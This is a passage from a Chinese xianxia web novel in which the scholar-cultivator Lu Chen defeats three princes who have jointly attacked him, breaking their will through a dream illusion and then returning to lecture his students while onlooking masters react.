天渊至尊长舒了口气,陆尘一连串的出手竟是令他这位仅仅是在观看水镜一战的至尊都有些喘不过气来,可想而知压迫感是有多麽的强烈。
但这一切都已经结束了,三道绝世神通之下,陆尘已然被判了死刑。
绝世神通是这世间攻伐之力最强的手段,唯一能在其之上的,只有完整的极道,亦或是帝䭾自己施展的杀招。
除此之外,便再无他物。
而三道绝世神通齐现,这般奇景,就连在场活了漫长岁月的诸位至尊也鲜少得见。
正是因为立足於至尊之境,他们要更明白绝世神通的恐怖之处。
这天底下同境一战,不可能有人能抗下三大绝世神通齐出。
少年帝䭾不能,眼前这比肩甚至过於少年帝䭾的青衫之人,亦是不能。
在场至尊中,就连镇北王也是摇了摇头,脸上写满了叹息之色。
没有谁能想到,世之罕见的绝世神通竟然一现世便是三门。
这是个死局,无人能解。
第230章 君临
变化来的如此之快,令所有人都没有意料。
谁也没有想到,原先还牢牢占据上风的陆尘忽地陷入死局之中,避无可避,退无可退。
至尊们有人为之叹息,有人长舒口气,庆幸其就此身死,有人则是面露讥讽之意,纵使你惊才绝艳,冠绝古今又如何。
今日,唯有一死而已。
风暴酝酿的正中心处,陆尘面色淡然,全然没有什麽深陷死局的慌张又或是紧迫。
其双手结印,掌心之中金光涌动。
金色的真龙虚影在其身後凝聚而成,盘旋呼啸,好似要君临天下。
龙吟之声一瞬间传遍整个元景洞天,无数妖兽尽皆匍匐在地,不得丝毫动弹。
原本那些在厮杀之中的少年至尊们也竟是停了下来,在那龙吟声中生不起半分气力,控制不住的便想要跪伏在地。
“真龙术?”
“这些小辈当真是疯了,当真是疯了!”
“天命所归之人,果真恐怖如斯啊……”
那金色龙影凝聚的一刹那,不少至尊都眸子无比炽热的看向那水镜之中的青衫身影。
十大神通各有玄妙之处,若只论攻伐之最,毫无疑问,那便是真龙神通。
“真龙术又如何,白白要消散於天地间了。”
北域那位剑道至尊冷哼一声,甚是不屑。
此次三朝会武本该是北域剑子萧策展露头角,凝聚天下气运之机,却是没想到风头全被这青衫男子拢去,而北域剑子萧策反倒是成了其垫脚石。
这令这位出身北域剑道仙门的至尊万般不悦。
萧策所负神通,乃为一气化三清,一人化作三人,皆可修行,皆可悟道练剑,皆可攻伐杀敌。
这可不似什麽分身术又或是阳神阴神那般的粗陋把戏,这一气化三清所变作的三人不分彼此,却又独立他身,其所悟修行,无时无刻都要比人快上三倍,日积月累之下,可想而知萧策的实力会有多麽的恐怖。
故而无论是那元十九显露极道雏形亦或是白夜显露混沌杀阵,这位剑道至尊都不以为然。
萧策的一气化三清之法加之其本就天下前三甲之列的剑心所在,不会逊色於任何人,哪怕是古之帝䭾。
而来日其合道之时,三道分身合而为一,一人独合三条大道,更将是冠绝古今,在这黄金大
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世之中脱颖而出。
在此之前,这唯一的变数就是这青衫男子了。
所以他必须死。
剑道至尊呢喃而已,一身剑气无形之中已然激荡而出。
……
元景洞天之内,陆尘等人所立足之地已然吸引了所有的天骄目光,而待那真龙浮现之时,更是世之瞩目,万人惊叹。
在众人皆是瞠目结舌,目瞪口呆之际,却有人疯了般的向那众人避之不及的战场而去。
“夫子,凌云就知道,你一定还活着!”
一位面容消瘦的少年泪水肆意而出,身形如雷电一般向那战场奔去。
谁也没有想到,这位先前还在大杀四方的少年至尊,此时此刻竟好似有些无助的孩童一般,泪不自觉的沾满面庞。
另一处,一位脚腕之处有银铃系着的赤足少女也是面色难以丝毫平静,乘着一轮弯月向那战场而去。
除二䭾外,许许多多已然名震元景洞天的少年至尊们都不约而同的向那一处战场赶去,就好似全然不惧那里间的真君威压一般。
战场正心之处,陆尘周身金龙狂舞,好似君临尘世。
第231章 螳螂,黄雀
万众瞩目之处,陆尘大手一挥,那金龙便是呼啸而出,一瞬之间与那原初一指掠出的深黑色光芒所碰撞。
浩荡的灵气威压使得整片元景洞天都是剧烈颤抖起来好似下一刻便要崩塌一般。
在这浩荡威压之下,一只遮天蔽日的大手重重拍下,在其映照之下,陆尘好似蝼蚁一般。
而那三道剑光亦是在同一时间斩落,每一道剑光都带着极为恐怖的威压,好似要将整片天地尽数劈开一般。
三道剑光齐出,更是威势惊人,剑气之纵横,令得元景洞天之中每一位佩剑之人,佩剑都是翁鸣不已,就如同先前那些大妖见到真龙虚影一般。
尽管真龙之术举世无双,可眼下毕竟是三道神通齐出,在其吞食了那原初一指后气势已然减弱大半,最终只能在浩荡攻势之下炸裂开来。
浩荡威势之中,绝世神通已然被破的元十九倒飞而出,浑身是血的躺在血泊之中。
而另外两位天骄却并未有半分顾忌他的念头,哪怕知道两大绝世神通攻伐下去,以元十九这般状态定然会重伤垂死,甚至於身死道消。
毕竟相较而来,三人并没有任何的情谊,即便彼此之间尚且在合作之中,但归根结底,总归是竞争的关系,若是元十九死在此处,对二人并未有什麽坏处。
此战若是一连死了两位天命之人,毫无疑问,那便是最大的喜事了。
两大绝世神通已至,此时此刻,陆尘已然没有了半分的反应之机,一瞬间便是被狂潮般的浩荡灵气顷刻吞没。
而那元十九则是外放杀戮极道,以此来抵御着这股恐怖威压。
此时这位帝子早已没了刚一登场时的威风与压迫之感,反而是七窍流血,一袭白衣尽皆染的血红。
虽说只是绝世神通的馀波波及,却已然足以危及其性命了。
故而当元十九被这股浩荡的灵气所吞没时,其双眼死死的盯着白夜与萧策二人,发誓此仇来日必定要报。
“夫子!”
在那遮天蔽日的巨掌拍下以及贯穿世间的剑光斩落之时,一位少年迎着那股浩荡的灵气威压嘶吼呐喊起来。
他狂奔向前,丝毫不顾及那溢出的稍许绝世神通气息威压就足以使其魂飞魄散。
“停下!”
忽地有一道身影急掠而出追上了少年,一尺砸下,硬生生的逼停少年。
林炎手持重剑,暴喝而语。
其再晚半步,恐怕段凌云便要真冲进那浩荡的灵气威压之中,就此身死道消了。
“夫子他不会有事的。”
林炎面色凝重而语。
在那般死局之下,夫子尚且未曾身死,如今一役,又能算的了什麽。
听到林炎此话,先前已然有些昏头的少年段凌云这才稍稍冷静了下来,转过头去,将泪痕尽数擦乾。
“你说的对,夫子他不会有事的。”
段凌云深吸一口气,眸子之中逐渐显露出坚定之色。
其年少无父无母,唯有阿姐一人将之拉扯长大,若是无陆尘相助,当日在书院之中自己或许能不会真的身死,但缺少救命丹药的阿姐,必将离世而去。
故而对於段凌云而言,陆尘不但是自己的老师,自己的夫子。
更是自己的亲人。
无论如何,他都不愿再次见到陆尘深陷危险之中。
不过经林炎这一怒吼,段凌云反倒是静下心来,不再多虑。
他可是夫子啊,自然不会死的。
少年望向那战场之中,眸子之中满是亮光。
除此之外,不少少年至尊们都是遥遥相望,期望着那位好似春风沐人般的青衫先生能够安然无恙。
大殿之中,元十九的护道者已然面色铁青,陆尘那真龙之术属实骇人,绝世神通两相碰撞,本该是不分胜负才对,可那真龙术却是猛然吞食了那原初一指,好似二者并非在同一位格一般。
也因此,元十九最先遭受到重创,七窍流血,气息微弱。
这这般情况下,那其馀二人也全然没有停手,心中打的是什麽主意,在场的至尊皆是人精自然心里都清楚。
有人欢喜有人愁。
元十九的护道之人发愁不已,那北域剑子以及玄朝帝子的护道之人却是心底暗自发笑起来。
经此一役,一连死了两位天命之子,而这两位在天命中所占的分量自然也会落到其馀二者身上,率先众人一步逼近帝位。
一想到此处,饶是活了漫长岁月,心中早已没有半点情绪波动的至尊大能,眸子里依旧显露出丝丝缕缕难以遮掩的欣喜之色了。
至於与此战无关的旁人,则大多都是为陆尘一叹。
这四人之中,若只论境界实力而言,这青衫男子毫无疑问是独一档的存在。
可没办法,没有哪位帝者是靠一对一捉对厮杀而登临帝位的。
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若是死在围杀之中,也只能是怪时运不济而已。
而此时此刻,在诸位至尊眼中,陆尘便是那个时运
不济之人,其真龙之术冠绝同辈,摧枯拉朽又如何,终归是要化作尘土的。
抱着这般念想,不少至尊倒是不再去看那水镜之景,不想因陆尘而心境有所波澜。
水镜之中,两大绝世神通攻伐而来,将一切尽数淹没,使得方圆万里之内再无半点生机。
“真死了……”
白夜呢喃而语,这一次他并未有任何怀疑,两大绝世神通杀招之下,除非说陆尘在刹那间突破到至尊境界,不然白夜无论如何也想不到,陆尘到底要如何活下来。
“死在我之剑下,也不算辱没其此番境界实力了。”
萧策缓缓而语,面色平淡。
此番是他第一次施展那一气化三清之法,将此般底牌暴露在世人面前,自然是想要彻底斩杀陆尘,夺取其身上所归之天命了。
尘烟逐渐散去,元十九的身影亦是显露出来。
其身形佝偻,浑身上下皆是沾满着血迹,整个人显得非常狼狈。
白夜与萧策对视一眼,心中已然达成了合意。
“对不起了,元兄。”
白夜摇摇拱手一笑,与萧策缓步向
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元十九走去,二人虽未说什麽,但脸上的笑容却已然令元十九心中万分惊惧了。
“想要取我性命,可以,但今日,你们之中定然也有一人也死在此处。”
元十九大笑而语,原先的惊惧之色一扫而空。
大不了一死便是了。
元十九心中这般念道。
“元兄大可以试试。”
白夜放肆大笑,全然无惧,其本就不弱於元十九,再加上此时与萧策联手,而元十九又先後遭真龙术以及两大绝世神通的馀波所创,此时已然是强弩之末,自然无需担忧什麽。
其抬脚一踏,便有繁杂符文自其脚下延展开来,瞬间便化作一处大阵,里间悬浮着无数道极为凌厉的剑气。
阵法布置本是极为耗费精力之事,只是白夜於阵法一道的天赋过於恐怖,故而可以瞬间布阵哪怕是阵法大师,在布阵速度这一块也难以企及其项背。
而萧策则是手指摸过长剑剑锋,使得剑身被染的血红,好似是饮过了鲜血一般。
元十九目光无惧无畏,杀戮极道肆意延展开来,与白夜二人厮杀在一起。
三位天命所归之人的战斗依旧是极为浩荡,每一击都好似要贯穿整片天地一般。
各相对打了数百招后,元十九终於支撑不住,被萧策抓住机会,一剑贯穿其胸膛。
出人意料的是,那元十九竟然不退反进,迎着那一剑而去,逼近到萧策身前奋力挥出一爪。
这闪着红光一爪的一击,带着无比恐怖的极道气息,一瞬之间便令萧策五脏六腑好似炸裂一般,发出极为痛苦的惨叫之声。
而元十九遭受各般重创,也终於无力倒下,在剑阵之中身死道消。
恍然之间,这场中只剩下白夜与萧策二人。
萧策看着白夜,不自觉的便向後退步,元十九那死前一击属实恐怖,令得萧策此时气息万分薄弱,竟然连凝出剑道真意的心神都有些匮乏。
白夜淡然一笑,平静的看向萧策。
其并未什麽多说些什麽,萧策却是知道白夜心中所想。
“该死的元十九……”
萧策咬牙切齿,原先三人之中,白夜失去了一座混沌杀阵,元十九接连遭受重创,自己本该才是笑到最後的那人才对。
只是谁也没能想到,元十九这一死前的致命一击会这般恐怖,险些就要了自己的性命。
他强行止住伤势,将长剑指向白夜。
白夜巍然不惧,悍然施展杀招向那萧策攻伐而去。
不过百招,萧策已然重伤垂死。
其强行再度催动一气化三清的神通,而白夜亦是施展法天象地之术,一脚踏下,将被困於陆尘所布大阵之中的三道萧策身影尽数踏灭。
尘烟散去,只有白夜一人站到最後。
他大笑起来,畅快至极。
“来日我玄帝一脉,当再成一帝!”
白夜自信而语,豪情万丈於天地之间。
“当真吗?”
有道声音忽地在白夜身後响起,白夜回头而望,只见得陆尘轻笑。
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第232章 道心破碎
不知何时,那一袭青衫的男子已然出现在了白夜身後。
此时这位青衫男子似乎是褪去了遮掩面目的术法,显露出了原本的容貌。
其五官精致好似女子,却因剑眉星目并未有丝毫的娇柔阴气。
长发束起,偶有风吹过时,便会有几率碎发随风飘荡,好似时阳春三月的长柳一般,整个人显得极为飘逸,好似人间谪仙。
见到那一袭青衫,白夜瞳孔骤然猛缩,好似见鬼一般的接连倒退数步。
“不,不可能,你不可能还活着……”
白夜失神而已,而又要暴喝一声:“是哪位帝子在此装神弄鬼,何不出来一战!”
陆尘摇了摇头。
“我即是我。”
白夜眉头紧锁,当下不再有任何言语,猛的施展杀招而出,向陆尘攻伐而去。
陆尘手中凭空浮现一把长剑,其一剑斩出,硬生生的将白夜的暴动身影逼停。
还未待白夜有如何别的举动,陆尘便又是一剑横扫而出,带着要破尽万法的气息,令天地为之一寂。
这一剑之快,令得白夜没有任何的避让之机,当下只能催动术法护身,硬生生的接下陆尘这一剑。
两剑即出,陆尘又一剑而去。
白夜再无可抵挡,被这剑气贯穿而过,几近身死。
他倒在血泊之中,气息奄奄而语:“你……到底是谁?”
“我都说了,我即是我。”
陆尘轻笑,一剑斩去白夜头颅。
…………
“不要杀我!”
随着一声近乎本能的颤音响起,白夜猛的睁开眼睛,只见得眼前的天地好似又变了一般。
“这里是……”
白夜看着这山水之间,自顾自而语。
还未待起有分毫的反应,便有一道青衫身影袭来,本能地,白夜竟然想到的不是对敌,而是跑,跑的越快越好。
“不可,同境怯战而逃,来日又如何登临帝位。”
白夜眸子之中燃烧着炽热火光,即便知晓陆尘境界实力高的吓人,自己恐怕不会是其对手,白夜还是下定决心,要与陆尘拚死一战。
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其施展杀招向陆尘攻伐而去,陆尘剑光凌厉,每一剑都好似是剑道真意亲临一般,令人无可抵挡。
并不多时,白夜便是招架不住,连施展绝世神通的喘气之息都没有,被陆尘一剑贯穿,就出身死道消。
……
我没死?
又一次的白夜睁开了眼睛,还未待其探查周遭天地,陆尘便又杀来,剑势惊人。
白夜不再有半分的犹豫,第一时间就施展法天象地的绝世神通,法相高达万千丈,顶天而立地。
陆尘收剑入袖,双手结印,真龙之术唤出。
真龙一瞬之间将白夜的法相打碎,令之自九天而落,被陆尘一剑斩杀。
一次又一次地,白夜不断死於陆尘手中,无论其如何挣扎,其都逃不过一死的命运。
千百次后,白夜终於放下了挣扎。
也不还手,也不逃命。
就那麽站在原地,等待着陆尘取了自己的性命。
既然无论如何都逃不过一死,自己也何苦挣扎什麽。
玄朝帝子,道心自此破碎。
第233章 帝路既定
出乎人意料的事,当玄朝帝子白夜已然道心崩碎而放弃亡命奔逃之时,那如梦魇般的青衫身影却是迟迟没有出现,就好像刚才的一切一切都只是一场梦一般。
白夜呆愣在原地,手足无措,一脸茫然。
他反倒是希望陆尘一剑将自己彻底斩杀,而不是这般令自己千百次被折辱。
在此之前,白夜自信同境一战无人能敌,可今日此情此景,已然是令其道心崩碎,再无半点争夺帝位的心气。
要知晓如白夜这般天命所归之人,求道之心是何等坚固,自修行之日起便意图登临帝位,数十年而复一日。
可这一切的一切,都在那一袭青衫攻势之下尽数崩碎。
帝路争锋?证道称帝?
直接把帝位颁给他得了,自己还去争什麽争。
白夜自嘲而笑,当下就躺在地上,仰头望天,一动也不动弹的。
下一刻,此间令白夜死去千百次的天地便是轰然崩碎,好似梦境坍塌一般,万物以极为诡谲的方式消散。
世间一片模糊,待得其再睁眼时,便已然出现在那先前众人围杀陆尘的战场之中。
白夜抬起头,脸上的神情扭曲,面色十分复杂。
在其目光所及之处,元十九以及萧策都未死去,安然在不远处站立着。
只是那二人脸色也十分不好看,眉宇之间,再没有了原先无形中就带着的上位者姿态。
“他们还活着……”
白夜怔怔出神,有些看不懂到底发生了何事。
自己明明与萧策一同斩杀元十九,而後又亲杀了萧策,怎麽可能这二人都活生生的出现在自己面前。
“难道我已经死了?”
白夜皱眉疑惑,目光与元十九以及萧策交织。
这二人也未说些什麽,很快便把目光偏移向别处,眼神涣散,眸子里没有半分神色。
“这倒是与我自己一般了。”
白夜无不自嘲的道了一声。
“难道先前所历,皆是幻境?可究竟要何等同体术法,方才能造此大梦?”
他自顾自而语,虽是万分不解,但也未再往心里去了。
没意义了,那一袭青衫即出,自己又何以去争夺这所谓帝位。
一切的一切都是没有意义的,不过是人家称帝路上的一块垫脚石而已。
这般想着,白夜反倒是心情舒畅了起来,不再为先前那梦魇的景象而忧神良久。
他随地一躺,眼睛一闭,什麽也不管不顾。
哪怕此时此刻那萧策和元十九二人要报仇雪恨,白夜心想着也是随他们去了吧。
“三位,可以离开了。”
就在其闭目之时,忽地有一道声音在白夜耳边响起,这一道声音不过是极为寻常的轻语,可在白夜眼中,也宛若九天惊雷一般,令其瞬间弹跳而起,大口大口的喘气。
白夜将目光移向元十九以及萧策二人之处,这二人神色之中也明显有惊惧之色,显然也是被那声音吓的不轻。
不过是一道轻语,却吓得三位天命之人尽皆胆寒,可想而知,三人所历经的梦魇是有多麽恐怖了。
大阵之中,陆尘不知何时已然浮於半空之中,轻笑着看向三人。
三人皆是一阵心惊肉跳,忍不住的摸了摸自己的脖颈之处。
当那灵犀一指被真龙术破开后,陆尘便已悄然施展了大梦乖离之术。
此术虽是小神通,但因陆尘新近得了梦之极道,两厢交织之下,在那一刹那间,便已然令白夜等三人尽皆堕入梦境之中。
梦境之中,三人尽皆被陆尘斩杀成千上百次,直到三人道心尽数崩碎,陆尘这才将三人放出。
“你不杀我们?”
白夜疑惑而问,却不敢看向陆尘。
“这麽想死?”
陆尘笑问。
白夜与元十九皆出自帝朝,而那萧策也是出自一北域极为古老的剑道传承之中,陆尘若当真在此杀了这三人,与这三大势力恐怕便是结下了死仇。
而在踏平天渊之前,陆尘自然不会去徒生事端,给自己多寻些麻烦。
当然其所答应黄奕的承诺,来日自然也会办到。
但在此时,却并不适宜杀了这元十九。
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虽说留了三人一命,但陆尘却是实打实的给这三人留下了铭刻在心底之处的梦魇,令得三人道心尽皆破碎。
至於之後是破而後立,还是一蹶不振,陆尘倒也不想多管了。
毕竟不可能说这三人结伴来围杀自己,自己还要去好心指点他们一番,那倒是显得有些过於荒谬了。
留他们一命,已然是陆尘最大限度的容忍了。
三人皆是面露错愕之色,但转念一想,也猜到了多半是自己身後势力所致,毕竟普天之下,若有人当真敢一次性杀了三位天命之人,恐怕那人出身帝者传承,也不会有人能保的住他了。
陆尘也不再多语,稍一
挥袖,三人身上的玉牌便是尽皆飞出。
三人竟是没有半点抵抗,就任由陆尘这般随手取走自己的玉牌。
或许是因在梦境之中的感受太过真实,在死了成千上百次后,他们对於陆尘甚至没有一丝一毫的怨恨之意,有的只是铭刻在心头之手,近乎本能的恐惧。
这种恐惧挥之不去,以至於陆尘刚才稍一抬手,三人便皆是猛的一颤,全然不像是什麽天命所归之人,反倒像是什麽山头的蟊贼一般。
连带着那一袭青衫,也死死的刻在三人心目之中,各自打定主意,回去后定然要让身边之人杜绝青色衣衫。
玉牌既已落入陆尘之手,三人下一刻便是被元景洞天的意志逐出,落到了景朝大殿之中。
大殿之中,诸位至尊尽皆默然,就连那天渊至尊也是一声不吭,似乎都陷入了沉思之中。
三位帝子呆呆的站立,一时间竟有些手足无措。
最终还是这三人的护道者各自一挥手,将三人召回身边。
“少年大帝也不过如此,当真要恭喜镇北王
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了。”
有一位至尊率先打破沉寂,向镇北王祝贺道,至於其是包藏祸心还是真心相祝贺,倒也是无从知晓了。
“可喜可贺,可喜可贺。”
又有一至尊笑语贺道。
在二人带动之下,场中的至尊们尽皆向镇北王拱手一贺,就好似是帝位已然落到了那青衫男子的头上。
众人眉间似是洋溢着喜色,反倒是被齐齐恭贺的镇北王一言不语,眉头紧皱。
他知道陆尘这个晚辈境界实力在同境之中极为恐怖,却也没想到会恐怖到这个地步,就连三位天命所归之人联手,也全然不是其对手,更是被打的道心崩碎,好似是变了个似的。
木秀於林,风必摧之。
以陆尘如今展露的实力来看,这天底下恐怕不会有一位修士是其同境之敌手,哪怕是古之帝者也不行。
若其安稳走到帝路争锋之时,这帝位的归属也就没有丝毫的悬念了。
旁人如何去争,又如何能争。
可正是因为如此,此战过後,会有很多人不会想让陆尘这般安然的走下去。
哪怕他们与陆尘无仇无怨,可陆尘这般展露的境界实力,便已然是与他们之间最大的仇,最大的怨!
这些帝者传承不可能眼睁睁的看着自己辛辛苦苦培养出来的帝子成为他人垫脚石的。
而既然这些帝子争不过陆尘,那便不争了。
让陆尘去死便是了,死了的天之骄子,哪怕冠绝古今未来,那又如何。
镇北王眉头紧锁,目光向四周扫去,这些至尊看似是在喜色相贺,但恐怕待得这场历练一结束,他们便会立刻撕破脸皮,不顾身份地位的向陆尘出手,哪怕会因此得罪景朝天子。
想到此处,镇北王眉头又是紧锁起来,丝毫不能舒缓。
他抬头望向景朝天子,若是景朝天子有意相护的话,或许陆尘还会有一线生机。
但若景朝天子也是心存杀机的话,陆尘恐怕不会有分毫的存活机会。
镇北王目光望去,只见得景朝天子面色淡然,无喜无悲,看不出个所以然来。
他暗自在心中叹了口气,又将目光投向那水镜之中。
元景洞天之中,陆尘收起那三块玉牌,而後随手一挥,落在地上的一十八杆小旗便落入其手中。
“大叔!你也太厉害了吧!等你成了至尊,恐怕都能和我师尊差不多了。”
少女江白鹿激动而语,在少女心中,这已然是极高极高的评价了,毕竟其始终认为自己的师尊是这天底下最强的剑仙,而陆尘能与之相比,自然也是最强最强的至尊了。
“不对,不该叫大叔了。”
少女又忽地摇头,好似拨浪鼓一般。
此时陆尘已然显露了本来面目,玉树临风,飘然若仙,哪怕是貌美女子见之,恐怕也要自惭形秽。
陆尘随手敲了少女一板栗,而後目光向远处眺望。
只见诸多少年至尊向此处奔来,尽皆大喊夫子二字。
陆尘轻笑立於原地,两袖青衫招摇。
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第234章 讲学
天地之间,数十道身影向陆尘所在之处狂奔而去,并不多时,便已然尽数落在陆尘身前。
大多数人都是深深执学生之礼,也有俏皮如长孙漠遥者则是站在陆尘身旁,笑意晏晏的挽着陆尘胳膊。
这数十人大多数是陆尘在百朝战场之中所教导过的学生,亦有一些是在帝都天启所教。
林炎,段凌云,长孙漠遥,李玄通……
此时众人围绕在陆尘身旁,就好似书院一干人在外游学一般。
众人之中,与陆尘相处时间最长的段凌云反倒是站在角落之处,默默的擦着眼角泪水。
其原以为陆尘死於天渊之手,已然立誓来日要踏平天渊,此时见陆尘安然存於世间,自然是喜极而泣。
“好久不见,诸位。”
陆尘轻笑而语,面色淡然。
不少人却是眼睛一红,心中隐隐有些发酸。
虽有一些人与陆尘相处时间并不算长,可所受陆尘指点,却对其生平影响极大,堪称是再造之恩也毫不为过,昔日听闻陆尘身死的消息,自然是心中万分难过。
而陆尘对於这些指点过得学生们自然也有不少感情,并非说只是为了什麽系统奖励而已。
这数十人中,有不少人陆尘初见之时不过是黄色气运,历经陆尘指点后,此时也已经到了紫色一方至尊之命了。
见众人环绕周身,陆尘心中未免也是一暖,有似有一股暖流在周身流转一般。
“夫子……?大叔这麽受欢迎呀。”
陆尘身旁,少女江白鹿低着头,似乎难以承受众人瞩目。
她嘀嘀咕咕的在心中自语,当下又有点担忧,这麽多人围着陆尘,若是陆尘抽不开身,自己便要一个人去寻自己的师兄师弟们了。
虽说是有些害怕,但少女自然也不会说出口,毕竟陆尘帮了自己这麽多,已然是感激不尽了,无论陆尘作何决定都是应该的。
这般想着,少女又稍稍的抬起头来。
她由衷的为陆尘感到开心,能被这麽多人拥簇着。
“我该自己走了才对,看样子大叔和他们好不容易相见,想来是有很多话要说,还是不要耽搁他们了。”
这般想着,少女又打定主意,打算
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悄悄的离开。
而陆尘似乎并未注意到少女所想,当下众人皆是盘腿随意坐下,听着陆尘讲学。
陆尘讲学的风格其实与在书院之中时差不多,并没有多大的变化。
他随性所讲,至於底下的人听不听,又听多少,倒并非是陆尘去多虑的问题了。
但显然,眼下的学子们皆是聚精会神,就好似这里并非是什麽需要生死厮杀的历练之地,反倒像是什麽书院一般,有着朗朗书声相伴。
不少人遥遥观察到此间之景,也是不自觉的走向此处。
段凌云,李玄通……
在看到这些已然杀出赫赫威名的少年至尊此时宛若是学童一般乖巧时,不少围观的天骄们都是惊呆了下巴,全然不敢相信自己眼中所见。
至於场外的至尊们,吃惊程度也不亚於看到这一幕的天骄们。
原本不少已然起了杀心的至尊们发现,自家的宝贝神子圣女们竟然都在那一处,安然听那一袭青衫的男子讲学。
乱了,这世道乱了……
不少至尊都是嘴角抽搐,不知道该说些什麽。